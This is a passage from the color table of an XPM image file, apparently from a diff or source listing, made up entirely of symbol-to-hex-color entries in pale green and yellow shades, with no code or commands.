+"D{ c #DDEDA9", +"E{ c #E0F1A8", +"F{ c #E3F5A8", +"G{ c #E4F7A7", +"H{ c #E4F7A6", +"I{ c #E4F6A6", +"J{ c #E3F5A6", +"K{ c #E0F3A5", +"L{ c #DCEDA4", +"M{ c #D8E7A3", +"N{ c #D3E2A2", +"O{ c #D6E7A0", +"P{ c #D7EA9F", +"Q{ c #C7D49F", +"R{ c #C6D29E", +"S{ c #CEDE9D", +"T{ c #DCF49A", +"U{ c #CDDB9B", +"V{ c #D0E09A", +"W{ c #D3E597", +"X{ c #D0E297", +"Y{ c #C9D996", +"Z{ c #C2D094", +"`{ c #C7DA91", +" ] c #BFCD8F", +".] c #C1D18E", +"+] c #C4D58D", +"@] c #C2D38B", +"#] c #BCCB89", +"$] c #B0BC87", +"%] c #B0BF85", +"&] c #DDFF82", +"*] c #BFD680", +"=] c #A9B57F", +"-] c #B2C27D", +";] c #B9CC7D", +">] c #BACE7B", +",] c #B7CA79", +"'] c #B2C477", +")] c #AEBF75", +"!] c #B0C07A", +"~] c #AABC70", +"{] c #86AB6C", +"]] c #1F5769", +"^] c #2C3335", +"/] c #2D3B3F", +"(] c #B3E677", +"_] c #E4FF69", +":] c #E6FF72", +"<] c #E6FF6E", +"[] c #E7FF75", +"}] c #E6FD77", +"|] c #E3F779", +"1] c #DAED7A", +"2] c #D1E27C", +"3] c #C6D47C", +"4] c #CFEA7C", +"5] c #DCFF7D", +"6] c #BCC882", +"7] c #BCC782", +"8] c #C1CC84", +"9] c #C5D186", +"0] c #C8D488", +"a] c #C9D68A", +"b] c #CAD68B", +"c] c #CBD78D", +"d] c #CFDB8F", +"e] c #D2DF91", +"f] c #D5E392", +"g] c #DAE994", +"h] c #DDEC95", +"i] c #DCEB96", +"j] c #D7E497", +"k] c #D1DD98", +"l] c #CBD699", +"m] c #D9EE99", +"n] c #E3FF99", +"o] c #CCD89C", +"p] c #CDD89D", +"q] c #CCD79E", +"r] c #CBD59F", +"s] c #C8D2A0", +"t] c #D3E3A0", +"u] c #E5FFA0", +"v] c #D6E6A2", +"w] c #D1DDA4", +"x] c #D8E5A4", +"y] c #DDEDA5", +"z] c #E1F2A6", +"A] c #E3F4A6", +"B] c #E4F6A7", +"C] c #E3F5A7", +"D] c #E2F3A7", +"E] c #E0F1A7", +"F] c #DCECA6", +"G] c #DAEAA6", +"H] c #D9E9A7", +"I] c #E2F8A6", +"J] c #D8E8A7", +"K] c #D2DFA7", +"L] c #E1F6A6", +"M] c #DFEFA6", +"N] c #E1F3A6", +"O] c #E3F6A5", +"P] c #E3F5A4", +"Q] c #E2F5A4", +"R] c #DFF2A3", +"S] c #DAEDA1", +"T] c #D6E7A1", +"U] c #D2E1A0", +"V] c #D7EA9E", +"W] c #D7EC9D", +"X] c #C5D19C", +"Y] c #CCDD9B", +"Z] c #DDF698", +"`] c #CBDA99", +" ^ c #CEDF98", +".^ c #D1E397", +"+^ c #D3E696", +"@^ c #D0E395", +"#^ c #CADA94", +"$^ c #C2D191", +"%^ c #C0CF90", +"&^ c #C5D98C", +"*^ c #BECD8C", +"=^ c #C1D28B", +"-^ c #C0D08A", +";^ c #BAC887", +">^ c #AEBA85", +",^ c #B3C483", +"'^ c #B5C77E", +")^ c #A7B47D", +"!^ c #B0C07B", +"~^ c #B5C87B", +"{^ c #B6C979", +"]^ c #B3C577", +"^^ c #B0C375", +"/^ c #B8CE73", +"(^ c #B5C877", +"_^ c #A9BB6E", +":^ c #205769", +"<^ c #B2E676", +"[^ c #E4FF68", +"}^ c #E5FF70", +"|^ c #E5FC76", +"1^ c #DEF376", +"2^ c #D4E778", +"3^ c #C9D879", +"4^ c #C1D17A", +"5^ c #DBFF79", +"6^ c #C9E17C", +"7^ c #B3BD7F", +"8^ c #B7C281", +"9^ c #BDC882", +"0^ c #C1CD83", +"a^ c #CADC85", +"b^ c #D3EB85", +"c^ c #D7F287", +"d^ c #D5ED88", +"e^ c #D2E68A", +"f^ c #CDDB8D", +"g^ c #D0DD8F", +"h^ c #D5E390", +"i^ c #DBEA91", +"j^ c #E0F093", +"k^ c #E0F094", +"l^ c #DBEA95", +"m^ c #D5E296", +"n^ c #CDD997", +"o^ c #CEDD98", +"p^ c #E3FF97", +"q^ c #CBD99A", +"r^ c #C3CD9B", +"s^ c #C3CC9C", +"t^ c #CCDA9C", +"u^ c #E2FC9B", +"v^ c #DDF49D", +"w^ c #CEDC9F", +"x^ c #E0F89E", +"y^ c #DAEEA0", +"z^ c #D1DEA1", +"A^ c #D6E4A2", +"B^ c #D9E8A2", +"C^ c #DBEBA3", +"D^ c #DDEEA4", +"E^ c #DEEFA5", +"F^ c #DDEFA5", +"G^ c #DCECA4", +"H^ c #8D976E", +"I^ c #181818", +"J^ c #757F58", +"K^ c #A3B07C", +"L^ c #9EA87D", +"M^ c #9FA97E", +"N^ c #BCC893", +"O^ c #DBEFA3", +"P^ c #DDF0A3", +"Q^ c #D8E8A3", +"R^ c #DCEDA3", +"S^ c #DFF1A4", +"T^ c #E1F5A3", +"U^ c #E2F6A2", +"V^ c #E2F5A2", +"W^ c #E1F4A1", +"X^ c #DEF1A1", +"Y^ c #D9EB9F", +"Z^ c #D5E59E", +"`^ c #D0DF9D", +" / c #DAF09B", +"./ c #D7EC9B", +"+/ c #CCDD99", +"@/ c #DCF596", +"#/ c #CADA97", +"$/ c #CDDE97", +"%/ c #D3E694", +"&/ c #D1E493", +"*/ c #C2D28F", +"=/ c #BBC98E", +"-/ c #DCFA8A", +";/ c #CDE48A", +">/ c #BBCA89", +",/ c #BECE88", +"'/ c #BCCC86", +")/ c #B6C585", +"!/ c #ABB683", +"~/ c #BBCF81", +"{/ c #A6B37B", +"]/ c #AEBE7A", +"^/ c #B2C479", +"// c #B1C377", +"(/ c #BED774", +"_/ c #CBEB72", +":/ c #C0DC70", +"( c #D5F188", +",( c #D1EC87", +"'( c #B8C787", +")( c #BAC986", +"!( c #B7C784", +"~( c #B1BF83", +"{( c #A6B181", +"]( c #C6E17F", +"^( c #D7F97B", +"/( c #A3AF7B", +"(( c #A6B479", +"_( c #ADBD78", +":( c #AFC177", +"<( c #BBD375", +"[( c #D0F372", +"}( c #A7B871", +"|( c #A3B26F", +"1( c #A6B673", +"2( c #C2E168", +"3( c #ABD852", +"4( c #2B3233", +"5( c #B1E675", +"6( c #E2FF65", +"7( c #E4FF6D", +"8( c #E5FF6F", +"9( c #E1F872", +"0( c #D6EB74", +"a( c #C8DA75", +"b( c #B9C875", +"c( c #D7FB74", +"d( c #D9FD76", +"e( c #A3AB79", +"f( c #A8B17B", +"g( c #D0ED7B", +"h( c #D6F47E", +"i( c #C8DB81", +"j( c #C4D284", +"k( c #C6D485", +"l( c #C7D486", +"m( c #C7D488", +"n( c #CEE288", +"o( c #DCF989", +"p( c #CEDC8D", +"q( c #D5E58E", +"r( c #D9EA90", +"s( c #D8E791", +"t( c #D2E192", +"u( c #C9D693", +"v( c #D8F091", +"w( c #D9F392", +"x( c #B2B994", +"y( c #BECB95", +"z( c #CBDB99", +"A( c #C5D19A", +"B( c #C8D49A", +"C( c #CAD69B", +"D( c #CAD69C", +"E( c #C8D49C", +"F( c #DAEF9B", +"G( c #DDF49C", +"H( c #D5E89D", +"I( c #A8B680", +"J( c #949F71", +"K( c #7B845E", +"L( c #2D2F27", +"M( c #8FB193", +"N( c #CDE5D2", +"O( c #D0E7D4", +"P( c #D1E7D5", +"Q( c #D2E8D6", +"R( c #CBE4CF", +"S( c #C1DFC6", +"T( c #799D7D", +"U( c #1A1B1A", +"V( c #62694D", +"W( c #C5D590", +"X( c #D7E89A", +"Y( c #DFF39E", +"Z( c #E1F59E", +"`( c #E0F49D", +" _ c #DEF29D", +"._ c #DAED9C", +"+_ c #D5E79A", +"@_ c #D9F197", +"#_ c #C4D296", +"$_ c #C3D195", +"%_ c #D0E593", +"&_ c #D6EF92", +"*_ c #C8D892", +"=_ c #CCDD92", +"-_ c #CFE291", +";_ c #D2E790", +">_ c #D0E48F", +",_ c #C8DA8D", +"'_ c #B9C789", +")_ c #D5F186", +"!_ c #D0EB85", +"~_ c #B5C485", +"{_ c #B6C584", +"]_ c #B2C183", +"^_ c #ABB881", +"/_ c #A3AE7F", +"(_ c #D6F87C", +"__ c #DBFF7A", +":_ c #C7E47A", +"<_ c #A0AC79", +"[_ c #A7B677", +"}_ c #ADBE76", +"|_ c #ADBE74", +"1_ c #CBEA72", +"2_ c #B4CB71", +"3_ c #9FAE6F", +"4_ c #9EAD6D", +"5_ c #ADC171", +"6_ c #C2E367", +"7_ c #A1CB54", +"8_ c #2B3133", +"9_ c #B0E674", +"0_ c #E1FF63", +"a_ c #E3FF6B", +"b_ c #E3FF68", +"c_ c #E3FF69", +"d_ c #E4FF6B", +"e_ c #E5FE6F", +"f_ c #DEF770", +"g_ c #D3E872", +"h_ c #C6D772", +"i_ c #B8C773", +"j_ c #D9FF72", +"k_ c #C1DB74", +"l_ c #A1AA77", +"m_ c #DAFE77", +"n_ c #C2D47C", +"o_ c #C3D17E", +"p_ c #C7D780", +"q_ c #CEDE83", +"r_ c #CEDE84", +"s_ c #CCDC86", +"t_ c #C9D787", +"u_ c #C7D589", +"v_ c #D9F489", +"w_ c #CFDD8C", +"x_ c #D3E38E", +"y_ c #D2E28F", +"z_ c #CFDD90", +"A_ c #C6D490", +"B_ c #C9DC90", +"C_ c #AAB092", +"D_ c #DAF492", +"E_ c #CBDC95", +"F_ c #C4CF97", +"G_ c #C9D697", +"H_ c #CDDB98", +"I_ c #CDDB99", +"J_ c #CAD89A", +"K_ c #D1E399", +"L_ c #D5E99A", +"M_ c #C9D89A", +"N_ c #9EA97A", +"O_ c #5A6343", +"P_ c #435543", +"Q_ c #637A63", +"R_ c #6C866D", +"S_ c #BAD7BE", +"T_ c #D6EAD9", +"U_ c #D5E8D8", +"V_ c #D2E7D6", +"W_ c #C9E3CE", +"X_ c #CDE6D2", +"Y_ c #AED2B4", +"Z_ c #424634", +"`_ c #8F9B68", +" : c #CFE292", +".: c #DCF09A", +"+: c #DEF39B", +"@: c #DBF09B", +"#: c #D7EA99", +"$: c #D2E498", +"%: c #CDDD97", +"&: c #D3E996", +"*: c #D8EF95", +"=: c #C4D395", +"-: c #C4D294", +";: c #C3D193", +">: c #D1E891", +",: c #D4EC90", +"': c #C8D991", +"): c #CBDD90", +"!: c #CFE28F", +"~: c #D2E68E", +"{: c #CEE38C", +"]: c #C7D98B", +"^: c #C0D089", +"/: c #B8C788", +"(: c #D4F184", +"_: c #D3F083", +":: c #B1C083", +"<: c #B0BE82", +"[: c #ACB981", +"}: c #A5B07F", +"|: c #B2C67C", +"1: c #B3C778", +"2: c #A3B077", +"3: c #A9B975", +"4: c #ADBF74", +"5: c #B0C473", +"6: c #CCEE6F", +"7: c #A5B66F", +"8: c #9BAA6D", +"9: c #9AA86C", +"0: c #ACC070", +"a: c #A7BE66", +"b: c #80A260", +"c: c #1D5061", +"d: c #B0E573", +"e: c #E1FF61", +"f: c #E2FF69", +"g: c #E2FF67", +"h: c #E4FE6C", +"i: c #DDF66E", +"j: c #D2E870", +"k: c #C5D771", +"l: c #BACD70", +"m: c #D8FF70", +"n: c #D1F273", +"o: c #D9FE73", +"p: c #CBE876", +"q: c #B7C479", +"r: c #C3D37B", +"s: c #CCDC7D", +"t: c #D1E37F", +"u: c #D5E780", +"v: c #D7E981", +"w: c #D7E983", +"x: c #D4E583", +"y: c #CFDF85", +"z: c #CAD986", +"A: c #C8D886", +"B: c #D0E589", +"C: c #CDDC8B", +"D: c #CDDC8C", +"E: c #C9D78D", +"F: c #C0CC8D", +"G: c #D9F58C", +"H: c #D6F18D", +"I: c #BECD8E", +"J: c #CDE290", +"K: c #B9C393", +"L: c #C4D094", +"M: c #CAD996", +"N: c #CEDD96", +"O: c #CCDB96", +"P: c #D5E996", +"Q: c #D9F097", +"R: c #7E8664", +"S: c #464A3A", +"T: c #2D372D", +"U: c #8DB091", +"V: c #CFE7D4", +"W: c #D4E9D8", +"X: c #D8EBDB", +"Y: c #DBECDD", +"Z: c #DDEEDF", +"`: c #DEEDE0", +" < c #DCECDD", +".< c #C4E1C9", +"+< c #C7E2CC", +"@< c #CAE4CF", +"#< c #7DA383", +"$< c #3B3F2E", +"%< c #A2B171", +"&< c #C4D687", +"*< c #D6EB95", +"=< c #D9ED98", +"-< c #D4E697", +";< c #CFE097", +">< c #CEE392", +",< c #C3D292", +"'< c #C3D291", +")< c #C2D190", +"!< c #D5EE8E", +"~< c #CDE28D", +"{< c #CADD8D", +"]< c #CEE28C", +"^< c #D1E68B", +"/< c #CDE18A", +"(< c #C5D889", +"_< c #BDCE86", +":< c #B5C385", +"<< c #D4F282", +"[< c #D0ED80", +"}< c #ADBA81", +"|< c #AAB780", +"1< c #CFEF79", +"2< c #D5F776", +"3< c #A2B077", +"4< c #A7B675", +"5< c #AFC273", +"6< c #ADBF71", +"7< c #C7E76E", +"8< c #C6E76C", +"9< c #99A66B", +"0< c #96A36A", +"a< c #98A66E", +"b< c #95A464", +"c< c #779761", +"d< c #1C4E5E", +"e< c #292F31", +"f< c #AFE573", +"g< c #E0FF60", +"h< c #E2FF68", +"i< c #E3FE6A", +"j< c #DCF66C", +"k< c #D3E96E", +"l< c #C6DA6F", +"m< c #BED36F", +"n< c #D8FF6E", +"o< c #C3DE72", +"p< c #B6C476", +"q< c #C1D177", +"r< c #CEE07A", +"s< c #D5E97B", +"t< c #DAEF7D", +"u< c #DEF27E", +"v< c #DFF57F", +"w< c #DFF481", +"x< c #DBEF82", +"y< c #D4E683", +"z< c #CCDC84", +"A< c #C5D485", +"B< c #D3ED84", +"C< c #DBFB84", +"D< c #C6D489", +"E< c #C7D58A", +"F< c #C3D18B", +"G< c #BAC68B", +"H< c #BFD08B", +"I< c #E0FF8B", +"J< c #B4BE8F", +"K< c #B8C290", +"L< c #C3D091", +"M< c #CAD992", +"N< c #CCDC93", +"O< c #D0E494", +"P< c #90A064", +"Q< c #3C3F32", +"R< c #637F67", +"S< c #9CBE9F", +"T< c #D6EADA", +"U< c #D8EADB", +"V< c #E2EFE3", +"W< c #E4F1E5", +"X< c #E6F2E6", +"Y< c #E7F3E7", +"Z< c #E7F2E7", +"`< c #C3E0C8", +" [ c #B8DBBE", +".[ c #455A47", +"+[ c #575E3E", +"@[ c #97A667", +"#[ c #C1D486", +"$[ c #D2E593", +"%[ c #D0E295", +"&[ c #CBDC93", +"*[ c #D0E591", +"=[ c #D9F48F", +"-[ c #C4D491", +";[ c #C3D390", +">[ c #C3D28F", +",[ c #C2D28E", +"'[ c #D5EF8C", +")[ c #C7D98C", +"![ c #CBDE8B", +"~[ c #CEE38A", +"{[ c #CBDF87", +"][ c #C3D586", +"^[ c #BACB84", +"/[ c #DAFC80", +"([ c #C7E07F", +"_[ c #A6B37F", +":[ c #A3AE7E", +"<[ c #9CA67C", +"[[ c #B4C97A", +"}[ c #DAFF77", +"|[ c #DAFF76", +"1[ c #BCD675", +"2[ c #A2B075", +"3[ c #ABBD73", +"4[ c #B1C472", +"5[ c #B2C671", +"6[ c #AFC26F", +"7[ c #A9BC6D", +"8[ c #CEF36A", +"9[ c #C9ED68", +"0[ c #A7BC67", +"a[ c #A3B66B", +"b[ c #BBDB61", +"c[ c #9FC94B", +"d[ c #1B4A59", +"e[ c #AEE572", +"f[ c #DFFF5E", +"g[ c #E1FF67", +"h[ c #E2FE69", +"i[ c #DDF86B", +"j[ c #D5ED6C", +"k[ c #CBE06D", +"l[ c #C2D76D", +"m[ c #D7FF6C", +"n[ c #C5DF70", +"o[ c #BBCB72", +"p[ c #C3D574", +"q[ c #CDE076", +"r[ c #D7EC78", +"s[ c #DEF479", +"t[ c #E1F87C", +"u[ c #E3FA7D", +"v[ c #E3FA7E", +"w[ c #E0F77F", +"x[ c #DCF180", +"y[ c #D4E781", +"z[ c #CADB82", +"A[ c #C2D083", +"B[ c #BECD83", +"C[ c #C6D986", +"D[ c #BECB87", +"E[ c #BCC888", +"F[ c #B4BF89", +"G[ c #B7C589", +"H[ c #DFFF89", +"I[ c #CFE88B", +"J[ c #ACB48D", +"K[ c #C2D08F", +"L[ c #8B9467", +"M[ c #4B503C", +"N[ c #292C23", +"O[ c #415142", +"P[ c #ADCDB2", +"Q[ c #D4E9D7", +"R[ c #D9EBDC", +"S[ c #E4F0E5", +"T[ c #E9F4E9", +"U[ c #EAF4EA", +"V[ c #ECF6EC", +"W[ c #EDF6EC", +"X[ c #EDF6ED", +"Y[ c #EBF5EA", +"Z[ c #E6F2E7", +"`[ c #CAE4CE", +" } c #BBDDC2", +".} c #C6E2CB", +"+} c #506953", +"@} c #434830", +"#} c #758150", +"$} c #AAB975", +"%} c #C9DB8E", +"&} c #CCDD93", +"*} c #C8D891", +"=} c #D9F48E", +"-} c #CEE48E", +";} c #C3D38E", +">} c #C9DE8C", +",} c #D6F289", +"'} c #C3D58A", +")} c #C7DA8A", +"!} c #CBDF89", +"~} c #CEE388", +"{} c #CEE487", +"]} c #C7DB85", +"^} c #BFD184", +"/} c #B4C581", +"(} c #B4C67D", +"_} c #9FA97D", +":} c #9AA47C", +"<} c #9DA87A", +"[} c #D7FA77", +"}} c #DAFF75", +"|} c #CFF074", +"1} c #9DA974", +"2} c #A8B873", +"3} c #B0C472", +"4} c #B5CA70", +"5} c #B6CB6F", +"6} c #B1C76D", +"7} c #AABD6C", +"8} c #9FB069", +"9} c #B5D066", +"0} c #D1FA64", +"a} c #D6FF68", +"b} c #D2FC5F", +"c} c #A5D047", +"d} c #272D2F", +"e} c #2B383B", +"f} c #ADE571", +"g} c #DEFF5C", +"h} c #E0FF65", +"i} c #DFFF61", +"j} c #E1FF65", +"k} c #E1FE68", +"l} c #DEFA69", +"m} c #D8F26A", +"n} c #D2EA6C", +"o} c #CAE16C", +"p} c #CBE66C", +"q} c #C5DA70", +"r} c #C9DD71", +"s} c #CFE473", +"t} c #D7ED74", +"u} c #DDF576", +"v} c #E0F878", +"w} c #E0F879", +"x} c #E0F77A", +"y} c #DDF47B", +"z} c #DAF07D", +"A} c #D5EA7E", +"B} c #CEE17F", +"C} c #C4D57F", +"D} c #BDCB81", +"E} c #B7C382", +"F} c #D2EF80", +"G} c #D4F181", +"H} c #B7C384", +"I} c #B5C185", +"J} c #B0BA87", +"K} c #CAE288", +"L} c #747A5D", +"M} c #3A3E2F", +"N} c #272922", +"O} c #566E57", +"P} c #B6D6BB", +"Q} c #DAECDD", +"R} c #E3F0E4", +"S} c #E8F3E8", +"T} c #EBF4EA", +"U} c #EDF6EB", +"V} c #EEF7EE", +"W} c #F0F8EE", +"X} c #F1F8F0", +"Y} c #F2F9F1", +"Z} c #F2F8F0", +"`} c #E4F1E4", +" | c #CFE6D3", +".| c #C0DFC6", +"+| c #C8E3CD", +"@| c #465748", +"#| c #474E32", +"$| c #6B7649", +"%| c #9EAD6E", +"&| c #C3D48A", +"*| c #C8D98F", +"=| c #D6EF8D", +"-| c #C3D48D", +";| c #C2D38C", +">| c #D3EE88", +",| c #D0E887", +"'| c #C4D689", +")| c #C8DB88", +"!| c #CADF86", +"~| c #CDE385", +"{| c #CBE084", +"]| c #C3D783", +"^| c #BACB82", +"/| c #B0BE80", +"(| c #C2DA7D", +"_| c #DBFF7B", +":| c #9BA57C", +"<| c #959E7A", +"[| c #959E78", +"}| c #CFEF76", +"|| c #D9FF73", +"1| c #A8BA73", +"2| c #A3B272", +"3| c #AEC072", +"4| c #B8CF6E", +"5| c #B4CB6B", +"6| c #ADC26A", +"7| c #A3B467", +"8| c #98A766", +"9| c #8F9C64", +"0| c #D5FE66", +"a| c #C5EA5E", +"b| c #89AC4E", +"c| c #272C2E", +"d| c #ADE570", +"e| c #DEFF5B", +"f| c #DFFF63", +"g| c #DFFF60", +"h| c #E0FF63", +"i| c #E1FF66", +"j| c #DFFB68", +"k| c #DCF769", +"l| c #D3EC6C", +"m| c #D0E76D", +"n| c #D0E86F", +"o| c #D3EB70", +"p| c #D8F072", +"q| c #DCF473", +"r| c #DEF775", +"s| c #DEF675", +"t| c #DBF277", +"u| c #D8EE78", +"v| c #D4E979", +"w| c #D0E47B", +"x| c #CCDF7C", +"y| c #C7D87C", +"z| c #BFCE7E", +"A| c #B8C57F", +"B| c #B3BF80", +"C| c #BACB80", +"D| c #DBFD7F", +"E| c #B6C582", +"F| c #B2BE83", +"G| c #AEB984", +"H| c #BACE7D", +"I| c #8B9E57", +"J| c #393F2A", +"K| c #1F201C", +"L| c #516852", +"M| c #AACBAE", +"N| c #BEDCC2", +"O| c #D5EAD9", +"P| c #D9ECDC", +"Q| c #DDEDE0", +"R| c #DDEDDF", +"S| c #E5F1E5", +"T| c #EAF4E9", +"U| c #EBF5EB", +"V| c #EEF6EC", +"W| c #EFF8ED", +"X| c #F0F8EF", +"Y| c #F3FAF1", +"Z| c #F3FAF2", +"`| c #F4FAF2", +" 1 c #F3F9F1", +".1 c #ECF5EC", +"+1 c #DEEEDF", +"@1 c #AAD1B1", +"#1 c #1B201B", +"$1 c #535B38", +"%1 c #6E784B", +"&1 c #A1B071", +"*1 c #C2D389", +"=1 c #D1E98C", +"-1 c #D9F68A", +";1 c #C3D48B", +">1 c #C2D48A", +",1 c #C1D289", +"'1 c #D6F385", +")1 c #C5D986", +"!1 c #C4D786", +"~1 c #C8DC85", +"{1 c #CBE183", +"]1 c #C7DC82", +"^1 c #BED081", +"/1 c #B2C280", +"(1 c #A7B37E", +"_1 c #D9FD7A", +":1 c #CCEB79", +"<1 c #909779", +"[1 c #8D9478", +"}1 c #CBEA75", +"|1 c #D9FF74", +"11 c #AEC372", +"21 c #A0AF72", +"31 c #AABB70", +"41 c #B3C770", +"51 c #BAD26E", +"61 c #BAD16C", +"71 c #B7CE6B", +"81 c #B0C668", +"91 c #A6B967", +"01 c #9BAB64", +"a1 c #909E62", +"b1 c #C0E165", +"c1 c #C7EE5B", +"d1 c #8BAF4C", +"e1 c #262C2E", +"f1 c #2B373B", +"g1 c #ACE570", +"h1 c #DDFF59", +"i1 c #DEFF61", +"j1 c #DEFF5E", +"k1 c #DEFF5F", +"l1 c #E0FF64", +"m1 c #DFFD66", +"n1 c #DEFB67", +"o1 c #DCF869", +"p1 c #DBF56A", +"q1 c #DAF46B", +"r1 c #DAF46D", +"s1 c #DBF56E", +"t1 c #DCF670", +"u1 c #DBF571", +"v1 c #DAF273", +"w1 c #D6ED74", +"x1 c #D2E874", +"y1 c #CEE276", +"z1 c #C9DC77", +"A1 c #C5D877", +"B1 c #C2D379", +"C1 c #C2D67A", +"D1 c #C7E07A", +"E1 c #D0EE7A", +"F1 c #D0EE7C", +"G1 c #D0EE7D", +"H1 c #9FB268", +"I1 c #50553E", +"J1 c #23241F", +"K1 c #202520", +"L1 c #567057", +"M1 c #A8CBAD", +"N1 c #C5E1CA", +"O1 c #D3E8D7", +"P1 c #DCECDF", +"Q1 c #EEF7ED", +"R1 c #EFF7EE", +"S1 c #F1F8EF", +"T1 c #F2F9F0", +"U1 c #F2F8F1", +"V1 c #F3F9F2", +"W1 c #F0F7EE", +"X1 c #ECF5EB", +"Y1 c #B5D3BB", +"Z1 c #1F2620", +"`1 c #363A28", +" 2 c #5D6740", +".2 c #7F8A58", +"+2 c #ACBD78", +"@2 c #CDE388", +"#2 c #DBF988", +"$2 c #C3D689", +"%2 c #C3D589", +"&2 c #C2D488", +"*2 c #C1D387", +"=2 c #BED086", +"-2 c #CDE685", +";2 c #D1ED84", +">2 c #C0D284", +",2 c #C5D884", +"'2 c #C8DE83", +")2 c #CAE083", +"!2 c #C8DE81", +"~2 c #C1D480", +"{2 c #B6C67F", +"]2 c #A9B67D", +"^2 c #BCD47A", +"/2 c #8E9678", +"(2 c #8F9777", +"_2 c #D1F474", +":2 c #B5CC72", +"<2 c #9EAD71", +"[2 c #B1C46F", +"}2 c #B6CD6E", +"|2 c #BAD26D", +"12 c #BAD36B", +"22 c #BAD36A", +"32 c #B8D069", +"42 c #B3C967", +"52 c #A8BD65", +"62 c #9DAF62", +"72 c #92A262", +"82 c #B1CD63", +"92 c #C4EB5A", +"02 c #93BA48", +"a2 c #ABE56F", +"b2 c #DCFF57", +"c2 c #DDFF5C", +"d2 c #DFFF62", +"e2 c #DFFE64", +"f2 c #DFFD67", +"g2 c #DEFB69", +"h2 c #DDF96B", +"i2 c #DCF76C", +"j2 c #DAF46E", +"k2 c #D6EF6F", +"l2 c #D2EA71", +"m2 c #CCE271", +"n2 c #C7DB72", +"o2 c #C2D573", +"p2 c #C2D874", +"q2 c #CEEC73", +"r2 c #D8FC74", +"s2 c #D8FC76", +"t2 c #D6F977", +"u2 c #C5E572", +"v2 c #647141", +"w2 c #324032", +"x2 c #89AD8D", +"y2 c #AFD4B4", +"z2 c #D9ECDD", +"A2 c #DEEDDF", +"B2 c #E5F1E6", +"C2 c #F1F9EF", +"D2 c #F3F9F0", +"E2 c #EDF5EB", +"F2 c #EAF5E9", +"G2 c #E6F2E5", +"H2 c #353F35", +"I2 c #363A29", +"J2 c #5A633D", +"K2 c #778352", +"L2 c #A1AF6F", +"M2 c #C6DC82", +"N2 c #D8F585", +"O2 c #C5D987", +"P2 c #C3D587", +"Q2 c #C2D586", +"R2 c #C2D386", +"S2 c #BFD085", +"T2 c #BDCE84", +"U2 c #D6F482", +"V2 c #C5DB82", +"W2 c #C5D982", +"X2 c #C8DE80", +"Y2 c #C2D87E", +"Z2 c #B9CB7D", +"`2 c #ABBA7B", +" 3 c #A7B57A", +".3 c #BBD476", +"+3 c #9DAC75", +"@3 c #D9FF71", +"#3 c #B7CF71", +"$3 c #9EAC70", +"%3 c #A7B76F", +"&3 c #B0C46F", +"*3 c #B6CC6D", +"=3 c #BBD36A", +"-3 c #BAD368", +";3 c #B8D167", +">3 c #B3CA65", +",3 c #AABF63", +"'3 c #9FB261", +")3 c #94A560", +"!3 c #B5D361", +"~3 c #C6EE58", +"{3 c #93BB49", +"]3 c #1A4757", +"^3 c #A9E46D", +"/3 c #DAFF55", +"(3 c #DCFF5A", +"_3 c #DDFF5D", +":3 c #DEFF62", +"<3 c #DEFE65", +"[3 c #DDFB68", +"}3 c #DAF869", +"|3 c #D7F36A", +"13 c #D3ED6C", +"23 c #CDE56C", +"33 c #C7DD6E", +"43 c #C1D66E", +"53 c #BFD46F", +"63 c #D1F36F", +"73 c #D8FF6F", +"83 c #D7FC70", +"93 c #C1DB70", +"03 c #9CAC62", +"a3 c #94A260", +"b3 c #5B6340", +"c3 c #222622", +"d3 c #293029", +"e3 c #6A8A6D", +"f3 c #CDE6D1", +"g3 c #E8F3E9", +"h3 c #F0F7EF", +"i3 c #F1F9F0", +"j3 c #F3FAF0", +"k3 c #EFF7ED", +"l3 c #ECF6EB", +"m3 c #E7F3E6", +"n3 c #516452", +"o3 c #2F3225", +"p3 c #626C43", +"q3 c #C4DC7D", +"r3 c #D4F084", +"s3 c #C3D685", +"t3 c #C2D484", +"u3 c #BFD183", +"v3 c #BCCE83", +"w3 c #D2EE81", +"x3 c #D1EE80", +"y3 c #BED181", +"z3 c #C2D680", +"A3 c #C5DB7F", +"B3 c #C7DD7E", +"C3 c #C4D97D", +"D3 c #BCD07C", +"E3 c #B1C17B", +"F3 c #A3B079", +"G3 c #C0DA77", +"H3 c #CEF074", +"I3 c #D2F770", +"J3 c #AFC570", +"K3 c #9EAD70", +"L3 c #A7B96E", +"M3 c #AFC36E", +"N3 c #BAD469", +"O3 c #B9D266", +"P3 c #B6CF64", +"Q3 c #B1C963", +"R3 c #A9BF61", +"S3 c #9EB25F", +"T3 c #95A65E", +"U3 c #C0E45F", +"V3 c #BEE357", +"W3 c #84AB51", +"X3 c #A9E46C", +"Y3 c #DAFF54", +"Z3 c #DBFF5B", +"`3 c #DBFF58", +" 4 c #DCFF59", +".4 c #DDFE63", +"+4 c #DCFB65", +"@4 c #DAF766", +"#4 c #D5F167", +"$4 c #CFEA68", +"%4 c #C9E169", +"&4 c #C2D96A", +"*4 c #BCD26B", +"=4 c #C8E76A", +"-4 c #D7FF6A", +";4 c #D1F56C", +">4 c #7F8D4D", +",4 c #4A5033", +"'4 c #1A1E1A", +")4 c #2E402E", +"!4 c #3A4E3A", +"~4 c #799B7B", +"{4 c #BDDEC3", +"]4 c #CBE5D0", +"^4 c #D3E9D7", +"/4 c #E9F4EA", +"(4 c #EEF6ED", +"_4 c #EFF6EE", +":4 c #F1F9EE", +"<4 c #EAF4E8", +"[4 c #E8F3E7", +"}4 c #E7F2E6", +"|4 c #E6F3E6", +"14 c #E3F1E3", +"24 c #D6E9DA", +"34 c #475D49", +"44 c #8B9F55", +"54 c #BCD577", +"64 c #C3D683", +"74 c #C2D582", +"84 c #BFD182", +"94 c #BDCF82", +"04 c #C8E180", +"a4 c #D6F77E", +"b4 c #BDCF7F", +"c4 c #C3D87E", +"d4 c #C5DB7D", +"e4 c #C4DA7C", +"f4 c #BFD47B", +"g4 c #B6C87A", +"h4 c #A9B878", +"i4 c #AFC276", +"j4 c #C2E170", +"k4 c #9FAE6E", +"l4 c #A9BB6D", +"m4 c #B0C36D", +"n4 c #B5CB6C", +"o4 c #B9D16B", +"p4 c #BBD46A", +"q4 c #BAD468", +"r4 c #BAD467", +"s4 c #B8D265", +"t4 c #B8D165", +"u4 c #B4CD63", +"v4 c #AEC661", +"w4 c #A5BA5F", +"x4 c #9BAF5D", +"y4 c #94A55C", +"z4 c #CAF25D", +"A4 c #A8C555", +"B4 c #71945A", +"C4 c #1D5060", +"D4 c #A8E46B", +"E4 c #D8FF52", +"F4 c #DAFF58", +"G4 c #DAFF56", +"H4 c #DAFF57", +"I4 c #DBFF59", +"J4 c #DDFF5E", +"K4 c #DCFE60", +"L4 c #DAFA61", +"M4 c #D8F663", +"N4 c 